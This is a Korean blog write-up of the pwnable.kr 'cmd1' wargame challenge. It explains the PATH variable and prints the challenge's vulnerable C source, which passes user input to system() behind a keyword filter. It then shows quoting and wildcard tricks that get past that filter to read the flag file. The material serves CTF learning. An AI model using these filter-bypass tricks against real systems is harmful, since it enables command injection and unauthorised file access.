Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Archives
Today
Total
관리 메뉴

White Security

Cmd1 문제풀이 본문

Wargame Writeups/pwnable.kr

Cmd1 문제풀이

POSIX 2019. 2. 10. 10:16
Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)


Toddler's Bottle 14번 문제


PATH 환경변수에 관한 문제입니다.


#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}


main 함수의 argc, argv는 익숙하지만

envp 변수는 낯선 분들이 계실겁니다.


envp 변수는 실행 환경변수를 전달하는 인자로

프로그램 내에서 환경변수 데이터를 확인할 수 있도록 합니다.


putenv 함수를 통해

PATH 환경변수의 내용을 변경하고

filter 함수를 사용해

flag, sh, tmp 세 단어를 필터링 하고 있습니다.


여기서 PATH는, 리눅스 및 기타 유닉스 시스템에서

사용하는 환경변수인데요.


쉘을 사용하여 프로그램을 실행할 때에

바이너리가 존재하는 경로를 PATH에 등록해 두면

절대경로를 모두 입력하거나


해당 폴더에 있지 않아도

바이너리 파일명만을 사용하여

간편하게 호출할 수 있도록 합니다.


덕분에 평소 리눅스에서

Bash 등을 사용하여

/bin 폴더에 존재하는 cat, ls 등의 명령어들을

절대경로를 이용하지 않고


마치 빌트인 함수인것 마냥

간편하게 사용할 수 있는 것이지요.


cmd1@ubuntu:~$ ./cmd1 "cat"
sh: 1: cat: not found


따라서 PATH를 변경해버린

cmd1에서는 /bin 폴더 내에 속한

cat 등의 바이너리를 자동으로 탐색해 주지 않으므로

파일명 만으로 호출이 불가능합니다.


cmd1@ubuntu:~$ ./cmd1 "/bin/cat flag"
cmd1@ubuntu:~$


따라서 절대경로를 이용해 프로그램을 호출해 주면 되는데

filter 함수를 통해, 인자에 flag가 속한 경우

프로그램이 종료되어 버리므로

플래그를 얻을 수 없습니다.


cmd1@ubuntu:~$ ./cmd1 "/bin/cat fl''ag"
cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla*g"


애스터리스크를 사용해

문자열 일부를 생략시키거나

중간에 더블 콜론 등을 끼워넣는 것으로

우회할 수 있었습니다.

'Wargame Writeups > pwnable.kr' 카테고리의 다른 글

Uaf 문제풀이  (0) 2019.02.19
Cmd2 문제풀이  (0) 2019.02.11
Lotto 문제풀이  (0) 2019.02.10
Blackjack 문제풀이  (0) 2019.02.10
Coin1 문제풀이  (0) 2019.02.09
Comments